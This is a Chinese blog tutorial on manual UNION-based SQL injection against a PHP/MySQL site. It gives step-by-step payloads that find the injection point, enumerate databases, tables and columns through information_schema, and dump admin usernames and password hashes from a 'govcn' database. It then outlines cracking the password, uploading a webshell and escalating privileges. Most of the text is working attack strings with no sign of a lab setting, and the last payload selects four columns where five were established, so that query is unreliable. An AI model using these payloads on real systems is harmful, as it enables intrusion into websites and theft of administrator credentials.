天天看點

網絡安全系列之二十 手工SQL注入(PHP)

首先随便打開一個頁面,利用and 1=1和and 1=2判斷是否存在注入點。

然後利用order by推斷字段數量,這裡推斷出有5個字段。

接下來執行語句“union select 1,2,3,4,5”爆出2、3字段可以調用參數。

下面就要開始用到MySQL的一些查詢操作了。

(1) 爆基本資訊

首先我們來爆出目前使用者名和資料庫名。

查目前使用者的參數是user(),查目前資料庫的參數是database(),将兩個參數代入到2、3字段中:

union select 1,user(),database(),4,5

成功爆出使用者名root,目前資料庫名govcn

<a href="http://yttitan.blog.51cto.com/attachment/201411/1/70821_1414883615BSaB.png" target="_blank"></a>

再接着爆資料庫版本和作業系統版本

查資料庫版本的參數是version(),查作業系統版本的參數是@@version_compile_os,将這2個參數也代入2、3字段:

union select 1,version(),@@version_compile_os,4,5

成功爆出資料庫版本為5.1.35,作業系統版本為Win32。

(2) 爆出所有的資料庫名

下面就要借助于information_schema資料庫來爆出我們關心的敏感資訊。

首先爆出系統中都存在哪些資料庫:

union select 1,schema_name,3,4,5 from information_schema.schemata

information_schema是MySQL5以後的版本中預設自帶的一個資料庫,它裡面存放了由使用者在MySQL中建立的所有其它資料庫的資訊。information_schema資料庫中預設有一個名為schemata的表,用于存放其它資料庫的名字。是以上面那個查詢語句的作用就是從information_schema資料庫的schemata表中查詢出所有資料庫的名字。

這裡爆出共有4個資料庫:

<a href="http://yttitan.blog.51cto.com/attachment/201411/1/70821_1414883615AHe5.png" target="_blank"></a>

Information_schema和mysql都是MySQL中自帶的資料庫,因而我們關心的就是剩餘的那兩個庫:blog和govcn,這其中比較重要的應該是govcn,再加上之前我們已經爆出目前庫就是它,是以下面自然将它列為重點目标了。

(3)爆表名

下面我們要爆出govcn資料庫中都有哪些表。MySQL中所有資料庫的表的資訊都統一存放在information_schema資料庫的tables表中,從這個表中就可以查出govcn資料庫中包含哪些表。

union select 1,table_name,3,4,5 from information_schema.tables where table_schema=’govcn’

成功爆出govcn資料庫中所有的表,很明顯其中最重要的是admin表。

<a href="http://yttitan.blog.51cto.com/attachment/201411/1/70821_1414883616Uy7Q.png" target="_blank"></a>

(4)爆字段名

接下來需要知道admin表中都包含哪些字段。所有資料庫的所有表中的所有字段都存放在information_schema資料庫中的columns表中。

union select 1,column_name,3,4,5 from information_schema.columns where table_name=’admin’

成功爆出admin表中共有2個字段:

<a href="http://yttitan.blog.51cto.com/attachment/201411/1/70821_1414883616vQcC.png" target="_blank"></a>

(5)爆使用者名和密碼

最後一步就是需要查出在admin表中的username字段和password字段都存放了哪些資料,也就是網站的使用者名和密碼了。

union select 1,username,password,4,5 from admin

這裡執行會出現錯誤,原因可能是因為網站編碼不一緻導緻的問題,可以利用unhex(hex())函數進行編碼轉換:

union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin

然後就成功爆出使用者名admin,以及md5加密後的密碼:

<a href="http://yttitan.blog.51cto.com/attachment/201411/1/70821_1414883616DqG8.png" target="_blank"></a>

再接下來的工作就簡單了:破解密碼-&gt;登入背景-&gt;上傳WebShell-&gt;提權。這裡就不再重複了。

本文轉自 yttitan 51CTO部落格,原文連結:http://blog.51cto.com/yttitan/1570821